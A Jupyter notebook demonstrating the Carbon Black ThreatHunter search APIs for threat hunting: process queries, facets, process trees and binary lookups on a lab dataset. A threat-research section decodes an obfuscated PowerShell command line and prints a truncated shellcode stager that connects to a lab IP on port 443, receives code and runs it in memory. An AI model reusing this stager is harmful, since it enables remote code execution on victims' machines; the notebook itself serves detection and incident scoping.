<jupyter_start><jupyter_text>CBTH API DemonstrationThis Jupyter Notebook will demonstrate the use of the CB ThreatHunter APIs through both using raw APIs and also using the `cbapi` Python module.**NOTE** the support for ThreatHunter in `cbapi` is still under development and the interfaces are subjectto change. PrerequisitesThere are two prerequisites for using this code: first, you need credentials to log into the API for yourCb PSC organization; and second, you need the `cbapi` bindings to use this Python code directly. If youwant to use another language, or to call the REST API endpoints manually, you won't need to install `cbapi`. API CredentialsThe first step is to create connectors in your Cb PSC organization. Log into the console and follow theinstructions at https://developer.carbonblack.com/reference/cb-defense/authentication/ to create an`API` type connectorOnce you have your connector, you'll need the following information:1. URL endpoint (e.g. `defense-prod05.conferdeploy.net`) for the APIs. This is the same URL you would use for the PSC Web UI2. Connector ID and API key for the API connector4. "Org key" - this is a unique identifier for your org and is displayed on the top of API Keys page Install cbapiThe second step is only if you want to run this code directly. This python script uses the `cbapi`module. The support for ThreatHunter in `cbapi` is being actively developed in a fork available fromhttps://github.com/trailofbits/cbapi-python/tree/tob-cbth. To run this code as-is, you need to `git clone`that repository, change into the `tob-cbth` branch, and install `cbapi` in a virtualenv.`cbapi` uses credential file to read the API secret keys. Whenever you write scripts to interact with theCb APIs (or any API for that matter) you should **always** keep your API secret keys separate from your script.If your script is ever exposed, either intentionally (by sharing it), or accidentally, then your API tokencould be compromised if it were embedded inside your script.To learn more about credential files and `cbapi`, see the docs at https://cbapi.readthedocs.io/en/latest/api-credentials. DocumentationMore information on configuring `cbapi`:https://cbapi.readthedocs.io/en/latest/installation.htmlDocumentation for the ThreatHunter APIs is now available on the Developer Network website at: https://developer.carbonblack.com/reference/cb-threathunter/ Asynchronous Search ModelThreatHunter is based on scalable and multi-tenant architecture that is capable of ingressing tens of millions of events per second. Searches are built to scale and perform.Searches in ThreatHunter are asynchronous. This allows better experience to both API and UI user since search can be initiated quickly and results can be gathered later and incrementally. Another advantage is that results can be referenced over and over, without re-running the search.![title](search.png)1. When customer C1 searches for data through the search API, it is distributed across potentially large number of indices related to that customer and desired time frame, without touching unrelated indices.2. Each index reports results back to the AWS S3 bucket.3. Separate API call is used to retrieve data back. Result payload will always be aggregated and also contain information on the progress of the search.  ImportsFirst things first, we import our `cbapi` module.We can also enable debug logging, which will provide an output of the underlying REST API calls that are made to the backend.Finally, we instantiate CbThreatHunterAPI using profile "devday" that we have configured outside of this Notbook.<jupyter_code># Import ThreatHunter and Defense modules.
# - the need to import Defense and use a separate API key will go away when the migration of platform
#   APIs to the Custom Connector type is complete.

from cbapi.psc.threathunter import *

# pretty printer for making the output more readable
import pprint
import time

# Import logging module to see the requests to the REST API

# import logging
# logging.basicConfig()
# logging.getLogger("cbapi").setLevel(logging.DEBUG)

th = CbThreatHunterAPI(profile="devday")    # This is the 'name' of your credential in the credential file
orgkey=th.credentials['org_key'] # set orgkey to the CBThreatHunterAPI credentials dict to make future URLs shorter<jupyter_output><empty_output><jupyter_text>Querying CBTHAs a first example, let's take a look for any processes that match our IOC: Children of `outlook.exe` processes that themselves start powershell. This might point to some malicious application started from the Outlook.Query first has to be placed into Solr syntax. In this case, it will be```parent_name:outlook.exe childproc_name:powershell.exe```You could, for example, put this query as is in the ThreatHunter Investigate page and get the results. However, let's see how we could do this with APIs Using CurlWe will not use Curl in this demo, but here is how it would roughly be done. Details of API token are hidden in these examples.Since queries are asynchronous, you would issue two requests. First would issue a query and return you a token:```$curl -H "Content-Type: application/json" -H "X-Auth-Token:<PASSWORD> <KEY>/YYYYYYYYYY" -XPOST "https://defense-prod05.conferdeploy.net/threathunter/search/v1/orgs/7YZFGDDN/processes/search_jobs" -d '{                         "search_params": {                             "q": "parent_name:outlook.exe childproc_name:powershell.exe",                             "sort": "process_name ASC"                         }}'```Note how you can also specify sortAs a result of this, you will get something like:```{'query': {'cb.max_backend_timestamp': 1559244344000,           'cb.max_device_timestamp': 1559244344000,           'cb.min_backend_timestamp': 0,           'cb.min_device_timestamp': 0,           'q': '*:*',           'rows': 500,           'sort': 'process_name ASC',           'start': 0}, 'query_id': '3e591d5e-6a43-4bae-90d6-76e815227b3d'} ```Then, using query_id token, you can ask for results using Get request:```$curl -H "X-Auth-Token:<PASSWORD> <KEY>/YYYYYYYYYY" -XGET "/threathunter/search/v1/orgs/7YZFGDDN/processes/search_jobs/3e591d5e-6a43-4bae-90d6-76e815227b3d/results?start_row=0&row_count=3"```This will give us first up to first 3 results of the query with information on progress to query completion (in case is still running). Using cbapi With Raw Request CallsNow, instead of using raw curl, let's use help of our `cbapi` library to start the same asynchronous query. In the second step, we will actually not use full cbapi entity model, but just underlying session management and HTTP request wrapper. This still allows us to see low-level asynchronous API calls, but is simpler. Best of all, we don't have to keep our credential information inside the code.We will also introduce few more APIs here. Query ValidationQuery validation API checks query syntax and makes sure it is valid. This is useful in case we want to make sure our query is using correct syntax and field names. Let's try two validation requests - onewill use invalid syntax (wrong field name) and second will be valid:<jupyter_code>ret = th.get_object(f"/threathunter/search/v1/orgs/{orgkey}/processes/search_validation?q=parent_path:outlook.exe childproc_name:powershell.exe")
pprint.pprint(ret)

ret = th.get_object(f"/threathunter/search/v1/orgs/{orgkey}/processes/search_validation?q=parent_name:outlook.exe childproc_name:powershell.exe")
pprint.pprint(ret)<jupyter_output>{'invalid_message': 'org.apache.solr.common.SolrException: undefined field '
                    'parent_path',
 'invalid_trigger_offset': 0,
 'valid': False,
 'value_search_query': False}
{'valid': True, 'value_search_query': False}<jupyter_text>SearchNow, let's execute actual search with the valid query. We will do two steps here:1. Initiate search, and collect the query_id token.2. Immediately query for status fof the search (without getting the results). Second step is optional but demonstrates the nature of asynchronous search<jupyter_code># Initiate search
ret = th.post_object(f"/threathunter/search/v1/orgs/{orgkey}/processes/search_jobs", {
                         "search_params": {
                             "q": "parent_name:outlook.exe childproc_name:powershell.exe",
                             "sort": "process_name ASC"
                         }
                     })
pprint.pprint(ret.json())

# Grab our query id token
query_id = ret.json()["query_id"]

# Check the status
ret = th.get_object(f"/threathunter/search/v1/orgs/{orgkey}/processes/search_jobs/{query_id}")
print("Query status:")
pprint.pprint(ret)<jupyter_output>{'query': {'cb.max_backend_timestamp': 1559596202000,
           'cb.max_device_timestamp': 1559596202000,
           'cb.min_backend_timestamp': 0,
           'cb.min_device_timestamp': 0,
           'q': 'parent_name:outlook.exe childproc_name:powershell.exe',
           'rows': 500,
           'sort': 'process_name ASC',
           'start': 0},
 'query_id': 'cff30b14-14c3-4ee1-be9b-1bd4ce448269'}
Query status:
{'completed': 11, 'contacted': 11}<jupyter_text>Finally, using same API as we did with curl, we will ask for actual results. It is important to note that you can ask for these results as many time as you want, and as long as the query is complete, results will reflect original results. In other words, `results` endpoint doesn't re-execute the query - ot only returns back the previously stored results. These results will be stored for 30 days.<jupyter_code>ret = th.get_object(f"/threathunter/search/v1/orgs/{orgkey}/processes/search_jobs/{query_id}/results?start_row=0&row_count=3")
pprint.pprint(ret)<jupyter_output>{'data': [{'backend_timestamp': '2019-06-03T17:36:21.162Z',
           'childproc_count': 0,
           'crossproc_count': 0,
           'device_id': 9618626,
           'device_name': 'psc-win10-ts',
           'device_policy_id': 0,
           'device_timestamp': '2019-06-03T17:29:16.365Z',
           'event_description': 'The application "<share><link '
                                'hash="5948a6366c6ddd600848c7454a70035028ef40f0238c3341716b1703e5d1ecfc">C:\\program '
                                'files (x86)\\microsoft '
                                'office\\office15\\excel.exe</link></share>" '
                                'invoked the application "<share><link '
                                'hash="d2434e607451a4d29d28f43a529246dc81d25a2fae9c271e28c55452c09a28a5">C:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe</link></share>". ',
           'event_id': '205df0a9862511e9880f25f893b045b4',
           'event_type': 'CREATE_PROCESS',
           'filemod_co[...]<jupyter_text>Results SegmentationLike Cb Response, each query result actually represents a process "segment" - that is, a set of eventsassociated with a process. If you issue default search request, all the segments will be returned, which could cause a lot of duplicate results for long-living processes.For more information about process segments, see https://developer.carbonblack.com/reference/enterprise-response/6.1/process-api-changes/new-immutable-model.One way around this is to use `collapse` function available in Solr. In that case, CBTH will try its best to coalesce these results by process when possible, returning only the latest segment.Still, you might still get duplicates in two cases:1. If segments come from different indices2. If there are too many results for Solr to group in each index (threshold for this is currently configured at 1M results)<jupyter_code># Initiate search without collapsing results
ret = th.post_object(f"/threathunter/search/v1/orgs/{orgkey}/processes/search_jobs", {
                         "search_params": {
                             "q": "process_name:explorer.exe",
                             "sort": "process_name ASC"
                         }
                     })
# Grab our query id token
query_id = ret.json()["query_id"]
time.sleep(2)
# Check the status
ret = th.get_object(f"/threathunter/search/v1/orgs/{orgkey}/processes/search_jobs/{query_id}/results?start=0&rows=0")
pprint.pprint(ret)

# Same search with collapse
ret = th.post_object(f"/threathunter/search/v1/orgs/{orgkey}/processes/search_jobs", {
                         "search_params": {
                             "q": "process_name:explorer.exe",
                             "sort": "process_name ASC", 
                             "fq": "{!collapse field=process_collapse_id sort='device_timestamp desc'}"
                         }
                     })
# Grab our query id token
query_id = ret.json()["query_id"]
time.sleep(2)
# Check the status
ret = th.get_object(f"/threathunter/search/v1/orgs/{orgkey}/processes/search_jobs/{query_id}/results?start=0&rows=0")
pprint.pprint(ret)<jupyter_output>{'data': [],
 'facets': {'facet_fields': {},
            'facet_intervals': {},
            'facet_queries': {},
            'facet_ranges': {},
            'num_found': 0},
 'query_id': '0f0bff88-dd4c-495d-b387-67575fc31d8a',
 'response_header': {'end_time': 1559596458000,
                     'num_available': 1838,
                     'num_found': 1889,
                     'searchers_meta': {'completed': 11, 'contacted': 11},
                     'start_time': 0}}
{'data': [],
 'facets': {'facet_fields': {},
            'facet_intervals': {},
            'facet_queries': {},
            'facet_ranges': {},
            'num_found': 0},
 'query_id': '5f6853a5-6e82-4fb1-a9a2-0069bb97c849',
 'response_header': {'end_time': 1559596461000,
                     'num_available': 164,
                     'num_found': 164,
                     'searchers_meta': {'completed': 11, 'contacted': 11},
                     'start_time': 0}}<jupyter_text>Completness of ResultsCBTH will not always give you back all results. Instead, it will return first N results (aggregated top 500 results from each index by default). Intent of CBTH search is not to give you exhausted list, but to help you narrow down results to the small set, in order to find "needle in the haystack" of the attack.In order to help you with this process, you can use Solr Facets, which are generated for the **entire** data set.For more information on Solr facets, you can visit:https://lucene.apache.org/solr/guide/7_7/faceting.htmlHere is example how to do that:<jupyter_code># Initiate non-filtered search, faceting by process and device
ret = th.post_object(f"/threathunter/search/v1/orgs/{orgkey}/processes/search_jobs", {
                         "search_params": {
                             "q": "*:*",
                             "rows": 0,   ## We don't want individual results here
                             "facet": True,
                             "facet.field": ["process_name", "device_name"], # Facet by two fields
                             "facet.mincount": 1,  # Don't return 0-result facets 
                             "sort": "backend_timestamp DESC"
                         }
                     })
# Grab our query id token
query_id = ret.json()["query_id"]
time.sleep(2)
ret = th.get_object(f"/threathunter/search/v1/orgs/{orgkey}/processes/search_jobs/{query_id}/results")
pprint.pprint(ret)<jupyter_output>{'data': [],
 'facets': {'facet_fields': {'device_name': {'bcrusher-mac.local': 1256,
                                             'desktop-1a1jgo5': 21304,
                                             'desktop-6rvhabb': 13518,
                                             'desktop-9omoop7': 30235,
                                             'desktop-cdbtest': 9532,
                                             'dtroi-mac.local': 977,
                                             'enduser01': 1703318,
                                             'gforge-mac.local': 1144,
                                             'jim-kirks-mac.local': 1834,
                                             'lq-01': 6772,
                                             'lq-03': 21874,
                                             'lq-04': 13437,
                                             'lq-06': 22843,
                                             'lq-07': 21393,
                                             '[...]<jupyter_text>Now that we have breakdown by devices and processes, we might want to dive into one of them, and this time, facet by time:<jupyter_code># Initiate filtered search, faceting by time
ret = th.post_object(f"/threathunter/search/v1/orgs/{orgkey}/processes/search_jobs", {
                         "search_params": {
                             "q": "device_name:rj-win10vmw",
                             "rows": 0,   ## We don't want individual results here
                             "facet": True,
                             "facet.range": ["device_timestamp"], # Facet by device timestamp
                             "facet.range.start": "2019-05-26T01:00:00Z", # From date
                             "facet.range.end": "2019-05-27T01:00:00Z", # Until date
                             "facet.range.gap": "+1HOUR",
                             "sort": "backend_timestamp DESC"
                         }
                     })
# Grab our query id token
query_id = ret.json()["query_id"]
time.sleep(2)
ret = th.get_object(f"/threathunter/search/v1/orgs/{orgkey}/processes/search_jobs/{query_id}/results")
pprint.pprint(ret["facets"]["facet_ranges"]["device_timestamp"]["counts"])<jupyter_output>{'2019-05-26T01:00:00Z': 0,
 '2019-05-26T02:00:00Z': 0,
 '2019-05-26T03:00:00Z': 0,
 '2019-05-26T04:00:00Z': 0,
 '2019-05-26T05:00:00Z': 0,
 '2019-05-26T06:00:00Z': 0,
 '2019-05-26T07:00:00Z': 0,
 '2019-05-26T08:00:00Z': 0,
 '2019-05-26T09:00:00Z': 42,
 '2019-05-26T10:00:00Z': 0,
 '2019-05-26T11:00:00Z': 0,
 '2019-05-26T12:00:00Z': 361,
 '2019-05-26T13:00:00Z': 131,
 '2019-05-26T14:00:00Z': 983,
 '2019-05-26T15:00:00Z': 2444,
 '2019-05-26T16:00:00Z': 1181,
 '2019-05-26T17:00:00Z': 387,
 '2019-05-26T18:00:00Z': 43,
 '2019-05-26T19:00:00Z': 0,
 '2019-05-26T20:00:00Z': 0,
 '2019-05-26T21:00:00Z': 0,
 '2019-05-26T22:00:00Z': 0,
 '2019-05-26T23:00:00Z': 885,
 '2019-05-27T00:00:00Z': 509}<jupyter_text>Using Full cbapi Entity ModelNow, let's see how we can do this task simpler, using entity model. Note that entity model obscures  asynchronous nature of the query execution (still uses it under the covers) making this process even easier. Downside is that you might not have all APIs at your disposal and some of the APIs used under the covers might not be using the latest and greatest version.<jupyter_code>query = th.select(Process).where("parent_name:outlook.exe childproc_name:powershell.exe")
query_results = list(query)            # get all results from this query into a list
pprint.pprint(query_results)<jupyter_output>[<cbapi.psc.threathunter.models.Process: id 7YZFGDDN-0092c4c2-000003a8-00000000-1d51a31dbbdeae8> @ https://defense-prod05.conferdeploy.net,
 <cbapi.psc.threathunter.models.Process: id 7YZFGDDN-00884261-00000544-00000000-1d504653629c21f> @ https://defense-prod05.conferdeploy.net,
 <cbapi.psc.threathunter.models.Process: id 7YZFGDDN-00884261-0000083c-00000000-1d5052ce08a21cb> @ https://defense-prod05.conferdeploy.net,
 <cbapi.psc.threathunter.models.Process: id 7YZFGDDN-00884261-0000083c-00000000-1d5052ce08a21cb> @ https://defense-prod05.conferdeploy.net,
 <cbapi.psc.threathunter.models.Process: id 7YZFGDDN-00884261-00000544-00000000-1d504653629c21f> @ https://defense-prod05.conferdeploy.net,
 <cbapi.psc.threathunter.models.Process: id 7YZFGDDN-00845349-00001908-00000000-1d4fbca034bbc93> @ https://defense-prod05.conferdeploy.net,
 <cbapi.psc.threathunter.models.Process: id 7YZFGDDN-00845349-00000740-00000000-1d4fb981fa550e7> @ https://defense-prod05.conferdeploy.net,
 <cbapi.psc.threathu[...]<jupyter_text>As previously explained, some of the results will have the same process ID (aka process_guid). Therefore, we will create a map of unique process IDs ourselves.<jupyter_code>unique_processes = {r.process_guid:r for r in query_results}
pprint.pprint(unique_processes)<jupyter_output>{'7YZFGDDN-00841a27-00001bb4-00000000-1d4fb36c99d10cd': <cbapi.psc.threathunter.models.Process: id 7YZFGDDN-00841a27-00001bb4-00000000-1d4fb36c99d10cd> @ https://defense-prod05.conferdeploy.net,
 '7YZFGDDN-00845349-00000740-00000000-1d4fb981fa550e7': <cbapi.psc.threathunter.models.Process: id 7YZFGDDN-00845349-00000740-00000000-1d4fb981fa550e7> @ https://defense-prod05.conferdeploy.net,
 '7YZFGDDN-00845349-00001908-00000000-1d4fbca034bbc93': <cbapi.psc.threathunter.models.Process: id 7YZFGDDN-00845349-00001908-00000000-1d4fbca034bbc93> @ https://defense-prod05.conferdeploy.net,
 '7YZFGDDN-00884261-00000544-00000000-1d504653629c21f': <cbapi.psc.threathunter.models.Process: id 7YZFGDDN-00884261-00000544-00000000-1d504653629c21f> @ https://defense-prod05.conferdeploy.net,
 '7YZFGDDN-00884261-0000083c-00000000-1d5052ce08a21cb': <cbapi.psc.threathunter.models.Process: id 7YZFGDDN-00884261-0000083c-00000000-1d5052ce08a21cb> @ https://defense-prod05.conferdeploy.net,
 '7YZFGDDN-008dec01-00001[...]<jupyter_text>Let's take a look at one of the Process objects to see what sort of information is retrieved.<jupyter_code>interesting_process_guid='7YZFGDDN-008f8e78-000012a0-00000000-1d513d7ef9c51a8'
process = unique_processes[interesting_process_guid]
print(process)<jupyter_output>Process object, bound to https://defense-prod05.conferdeploy.net.
-------------------------------------------------------------------------------

       backend_timestamp: 2019-05-26T15:36:24.851Z
         childproc_count: 1
         crossproc_count: 7
      device_external_ip: 172.16.58.3
         device_group_id: 0
               device_id: 9408120
      device_internal_ip: 
             device_name: rj-win10vmw
               device_os: WINDOWS
        device_policy_id: 0
        device_timestamp: 2019-05-26T15:31:02.862Z
           filemod_count: 18
             index_class: default
           modload_count: 72
           netconn_count: 0
                  org_id: 7YZFGDDN
             parent_guid: 7YZFGDDN-008f8e78-00001194-00000000-1d513d7e370...
             parent_hash: ['0355d3fde2df1315a6677fe0b50b101a5e7ab2db39402...
             parent_name: c:\program files (x86)\microsoft office\office1...
              parent_pid: 4500
            partition_id: 0
         process_cmdl[...]<jupyter_text>There are a few things to note here:1. The hash attributes are *arrays* and not strings. ThreatHunter tracks both the MD5 and SHA-256 hashes for binaries, so you'll see one ore two entries in the hash attributes.2. The command line, username, and process PID are all arrays as well! This is done to accurately track activity during `fork` and `exec` on Unix systems. A process may `fork`, meaning that it clones itself into a different PID. That process may continue to execute the original binary, or replace itself with a different binary via `exec` later (causing the command line to change as well).  Process TreesNow let's see who called this process and what child processes it created. We can use the `tree` API to do this.<jupyter_code>tree = process.tree()
pprint.pprint(tree)<jupyter_output><cbapi.psc.threathunter.models.Tree object at 0x32bfd10> @ https://defense-prod05.conferdeploy.net<jupyter_text>The `tree` API is also synchronous, but `cbapi` hides this detail and will keep polling results until query is complete.Let's now step through the tree:<jupyter_code>def print_information(proc, depth=0):
    print("{0}| {1}, {2} started process {3}".format('---'*depth, proc.get("device_timestamp", ""), proc.get("process_username", "unknown"), proc.get("process_cmdline", proc.get("process_name", ""))))
    
def recurse_tree(t, depth=0):
    if not isinstance(t, list):
        t = [t]

    for i in t:
        print_information(i, depth)
        if 'children' in i:
            recurse_tree(i['children'], depth+1)

recurse_tree(tree.nodes)<jupyter_output>| 2019-05-26T15:40:48.700Z, ['RJ-WIN10VMW\\EndUser'] started process ['"C:\\Program Files (x86)\\Microsoft Office\\Office15\\OUTLOOK.EXE" ']
---| 2019-05-26T15:31:02.868Z, ['RJ-WIN10VMW\\EndUser'] started process ['"C:\\Program Files (x86)\\Microsoft Office\\Office15\\EXCEL.EXE" /dde']
------| 2019-05-26T15:30:41.314Z, ['RJ-WIN10VMW\\EndUser'] started process ['powershell.exe -NoP -NonI -W Hidden -Command "Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\\" nVPbTttAEH33V4wsS9iKbTkXEA1C4qa0SG2KCGofojw4m4FsWe9au+MkhubfOwanLYhWVZ+OvTtzzpnLBgKO4cT3phdKXRalsRT692g1qn4vXSjlRzMoq7mSAhzlxIAb4nu41HRFFr5IS1WuTpUyImzP1jFUUhNsWqxbfIiO/lvn3GJOeLNkWOx0qpZ3FcMv5fbrN+32pFH3Tzyy9WPguOgxrpPP828oCCa1IyzSMVI6MeIeybUI4fSNu9PFwqJzo7yQqp4NhyyAlgPWxt7H8FbGM97UJXL4hLiI4u3AK2vICKPa0BtRRl7g0nOjNRsN97rvemn34DDt9bO0u5/txTAY9CP4DqaiRFdKHUFQcnHTU2vzxttz3y41N1ULDP15TehzVsSBGw5k8msUKFcYBuUroge+z7yg/ge+6ZkkNrlCy61ojB[...]<jupyter_text>Now we can see the way Outlook process that started the whole thread, eventually starting the powershell<jupyter_code>powershell_process = tree.nodes["children"][0]["children"][0]
pprint.pprint(powershell_process)<jupyter_output>{'_s3_location': '1tzmuVdmSmaW0QwF6sPRqQ:16af4c61e94:3450:f3f:longTerm',
 'backend_timestamp': '2019-05-26T15:33:05.812Z',
 'childproc_count': 0,
 'crossproc_count': 0,
 'device_external_ip': '',
 'device_group': 'malware-workshop-policy',
 'device_group_id': 0,
 'device_id': 9408120,
 'device_internal_ip': '172.16.58.3',
 'device_name': 'rj-win10vmw',
 'device_os': 'WINDOWS',
 'device_policy_id': 0,
 'device_timestamp': '2019-05-26T15:30:41.314Z',
 'event_description': 'The application "<share><link '
                      'hash="d2434e607451a4d29d28f43a529246dc81d25a2fae9c271e28c55452c09a28a5">C:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe</link></share>" '
                      'invoked the application "<share><link '
                      'hash="acdfbc988cc8c5846ca51421596654a63c99ef152eaa1ccb16f8790ca54107de">C:\\users\\enduser\\downloads\\ghhaefawkejvnkawe.bat</link></share>". ',
 'event_id': '75c787c47fcb11e996bedfe68c86904a',
 'event_type': 'CREATE_PROCESS',
 [...]<jupyter_text>Process SummaryWe could have also used process sumary API to get Json-formatted version of the immediate tree around our process:<jupyter_code>ret = th.get_object(f"/threathunter/search/v1/orgs/{orgkey}/processes/summary?process_guid={interesting_process_guid}")
pprint.pprint(ret)<jupyter_output>{'children': [{'_s3_location': 'N2ZmRaL5S8uOXU8Pws4v7g:16af4c92814:35f50:1294b:default',
               'backend_timestamp': '2019-05-26T15:36:24.851Z',
               'childproc_count': 4,
               'crossproc_count': 6,
               'device_external_ip': '172.16.58.3',
               'device_group_id': 0,
               'device_id': 9408120,
               'device_internal_ip': '',
               'device_name': 'rj-win10vmw',
               'device_os': 'WINDOWS',
               'device_policy_id': 0,
               'device_timestamp': '2019-05-26T15:30:41.099Z',
               'filemod_count': 31,
               'hits': True,
               'index_class': 'default',
               'modload_count': 49,
               'netconn_count': 1,
               'org_id': '7YZFGDDN',
               'parent_guid': '7YZFGDDN-008f8e78-000012a0-00000000-1d513d7ef9c51a8',
               'parent_hash': ['2a30dac27f340726b1a7ade73eeddcbb',
                               '5948a6366c6ddd600848c[...]<jupyter_text>Interlude: Threat Research ExampleLet's dive deeper into anatomy of that powershel attack. First of all, We can see that cmdline was is actually base64ecoded encoded. Let's decode it:<jupyter_code>import base64
cmdline_str ='<KEY> '
decoded_cmdline_str = base64.b64decode(cmdline_str)
print(decoded_cmdline_str)<jupyter_output>b'\x9dS\xdbN\xdb@\x10}\xf7W\x8c,K\xd8\x8am9\x17\x10\rB\xe2\xa6\xb4Hm\x8a\x08j\x1f\xa2<8\x9b\x81lY\xefZ\xbb\xe3$\x86\xe6\xdf;\x06\xa7-\x88VU\x9f\x8e\xbd;s\xce\x99\xcb\x06\x02\x8e\xe1\xc4\xf7\xa6\x17J]\x16\xa5\xb1\x14\xfa\xf7h5\xaa~/](\xe5G3(\xab\xb9\x92\x02\x1c\xe5\xc4\x80\x1b\xe2{\xb8\xd4tE\x16\xbeHKU\xaeN\x952"l\xcf\xd61TR\x13lZ\xac[|\x88\x8e\xfe[\xe7\xdcbNx\xb3dX\xect\xaa\x96w\x15\xc3/\xe5\xf6\xeb7\xed\xf6\xa4Q\xf7O<\xb2\xf5c\xe0\xb8\xe81\xae\x93\xcf\xf3o(\x08&\xb5#,\xd21R:1\xe2\x1e\xc9\xb5\x08\xe1\xf4\x8d\xbb\xd3\xc5\xc2\xa2s\xa3\xbc\x90\xaa\x9e\r\x87,\x80\x96\x03\xd6\xc6\xde\xc7\xf0V\xc63\xde\xd4%r\xf8\x84\xb8\x88\xe2\xed\xc0+k\xc8\x08\xa3\xda\xd0\x1bQF^\xe0\xd2s\xa35\x1b\r\xf7\xba\xefzi\xf7\xe00\xed\xf5\xb3\xb4\xbb\x9f\xed\xc50\x18\xf4#\xf8\x0e\xa6\xa2DWJ\x1dAPrq\xd3Sk\xf3\xc6\xdbs\xdf.57U\x0b\x0c\xfdyM\xe8sV\xc4\x81\x1b\x0ed\xf2k\x14(W\x18\x06\xe5+\xa2\x07\xbe\xcf\xbc\xa0\xfe\x07\xbe\xe9\x99$6\xb9B\xcb\xadh\x8c\x1bnJ\xbf\xc7\x9cq\x16u\xf6\x1b\xb5z\x9a\xcd\x1a\xc2\xcd\xd9\xc8[/\xa[...]<jupyter_text>We got raw byte stream. However, if you pay attention to the powershell cmdline, you will see that this stream is additionally compressed - very common obfuscation method.Let's import zlib and decompress it:<jupyter_code>import zlib
print(zlib.decompress(decoded_cmdline_str, -15))<jupyter_output>b'$c = @"\n[DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr w, uint x, uint y, uint z);\n[DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr u, uint v, IntPtr w, IntPtr x, uint y, IntPtr z);\n"@\ntry{$s = New-Object System.Net.Sockets.Socket ([System.Net.Sockets.AddressFamily]::InterNetwork, [System.Net.Sockets.SocketType]::Stream, [System.Net.Sockets.ProtocolType]::Tcp)\n$s.Connect(\'192.168.230.150\', 443) | out-null; $p = [Array]::CreateInstance("byte", 4); $x = $s.Receive($p) | out-null; $z = 0\n$y = [Array]::CreateInstance("byte", [BitConverter]::ToInt32($p,0)+5); $y[0] = 0xBF\nwhile ($z -lt [BitConverter]::ToInt32($p,0)) { $z += $s.Receive($y,$z+5,1,[System.Net.Sockets.SocketFlags]::None) }\nfor ($i=1; $i -le 4; $i++) {$y[$i] = [System.BitConverter]::GetBytes([int]$s.Handle)[$i-1]}\n$t = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru; $x=$t::VirtualAlloc(0,$y.Length,0x3000,0x40)\n[System.Runtime.I[...]<jupyter_text>There we go - we can now see the attacker's code.Now, let's also look at other things  that this process did. For example, let's look at that connection. For that, we can dive into events of the process, using Event entity object:<jupyter_code>events = th.select(Event).where(process_guid=powershell_process["process_guid"]).and_(event_type="netconn")
for event in events:
    print(event)
# in case you were wondering what those IP addresses were...
import socket
import struct
socket.inet_ntoa(struct.pack('>i', -1062672746))<jupyter_output><empty_output><jupyter_text>Now we can verify the scope of our intrusion by searching the dataset for any other hosts that may have connected to this malicious network address:<jupyter_code>infected_host_query = th.select(Process).where("netconn_ipv4:192.168.230.150")
infected_hosts = set([h.device_name for h in infected_host_query])
print(infected_hosts)<jupyter_output>{'rj-win10vmw', 'desktop-1a1jgo5', 'psc-win10-ts', 'enduser01'}<jupyter_text>Binary InformationNow what about binaries? In CBR, binary information is stored in a separate `module` store that you can query. In CBTH, binary information is stored in two different places:1. Selected binary metadata is stored with the process information, and recorded at the time when process was reporting events2. Much more metadata, including first seen paths, devices and signatures, as well as phisical binaries, are stored in Unified Binary Store  Metada Interlieved with Process DataMetadata interlieved with process data can be used for searching, but not retrieving data<jupyter_code>query = th.select(Process).where("process_publisher:Microsoft \
                                 process_publisher_state:FILE_SIGNATURE_STATE_SIGNED \
                                 process_publisher_state:FILE_SIGNATURE_STATE_VERIFIED")
print("Processes Signed with Microsoft:")
print(set([q.process_name for q in query[0:20]]))

print("\nProcesses with description containing 'Outlook':")
query = th.select(Process).where("process_file_description:Outlook")
print(set([q.process_name for q in query[0:20]]))<jupyter_output>Processes Signed with Microsoft:
{'c:\\windows\\system32\\svchost.exe', 'c:\\windows\\system32\\conhost.exe', 'c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\ngen.exe', 'c:\\windows\\microsoft.net\\framework\\v4.0.30319\\ngen.exe'}

Processes with description containing 'Outlook':
{'c:\\program files (x86)\\microsoft office\\office15\\outlook.exe', 'c:\\program files\\windowsapps\\microsoft.windowscommunicationsapps_16005.11425.20190.0_x64__8wekyb3d8bbwe\\hxtsr.exe'}<jupyter_text>Unified Binary StoreUnified Binary Store (UBS) has its own set of APIs that are documented here:https://developer.carbonblack.com/reference/cb-threathunter/latest/universal-binary-store-api/Here are some examples.First, let's get metadata of one of the binaries on our devices (powershell from above):<jupyter_code>res = th.get_object(f"/ubs/v1/orgs/{orgkey}/sha256/d2434e607451a4d29d28f43a529246dc81d25a2fae9c271e28c55452c09a28a5/metadata")
pprint.pprint(res)<jupyter_output>{'architecture': ['x86'],
 'available_file_size': 430080,
 'charset_id': 1200,
 'comments': None,
 'company_name': 'Microsoft Corporation',
 'copyright': '© Microsoft Corporation. All rights reserved.',
 'file_available': True,
 'file_description': 'Windows PowerShell',
 'file_size': 430080,
 'file_version': '10.0.15063.0 (WinBuild.160101.0800)',
 'internal_name': 'POWERSHELL',
 'lang_id': 1033,
 'md5': 'be8ffebe1c4b5e18a56101a3c0604ea0',
 'original_filename': 'PowerShell.EXE',
 'os_type': 'WINDOWS',
 'private_build': None,
 'product_description': None,
 'product_name': 'Microsoft® Windows® Operating System',
 'product_version': '10.0.15063.0',
 'sha256': 'd2434e607451a4d29d28f43a529246dc81d25a2fae9c271e28c55452c09a28a5',
 'special_build': None,
 'trademark': None}<jupyter_text>Let's also find some information on devices that have this file, paths where it was seen and signatures it has:<jupyter_code>res = th.get_object(f"/ubs/v1/orgs/{orgkey}/sha256/d2434e607451a4d29d28f43a529246dc81d25a2fae9c271e28c55452c09a28a5/summary/device")
pprint.pprint(res)
res = th.get_object(f"/ubs/v1/orgs/{orgkey}/sha256/d2434e607451a4d29d28f43a529246dc81d25a2fae9c271e28c55452c09a28a5/summary/file_path")
pprint.pprint(res)
res = th.get_object(f"/ubs/v1/orgs/{orgkey}/sha256/d2434e607451a4d29d28f43a529246dc81d25a2fae9c271e28c55452c09a28a5/summary/signature")
pprint.pprint(res)<jupyter_output>{'first_seen_device_id': 8657447,
 'first_seen_device_name': 'DESKTOP-1A1JGO5',
 'first_seen_device_timestamp': '2019-04-25T07:16:29.942347Z',
 'last_seen_device_id': 9618626,
 'last_seen_device_name': 'PSC-WIN10-TS',
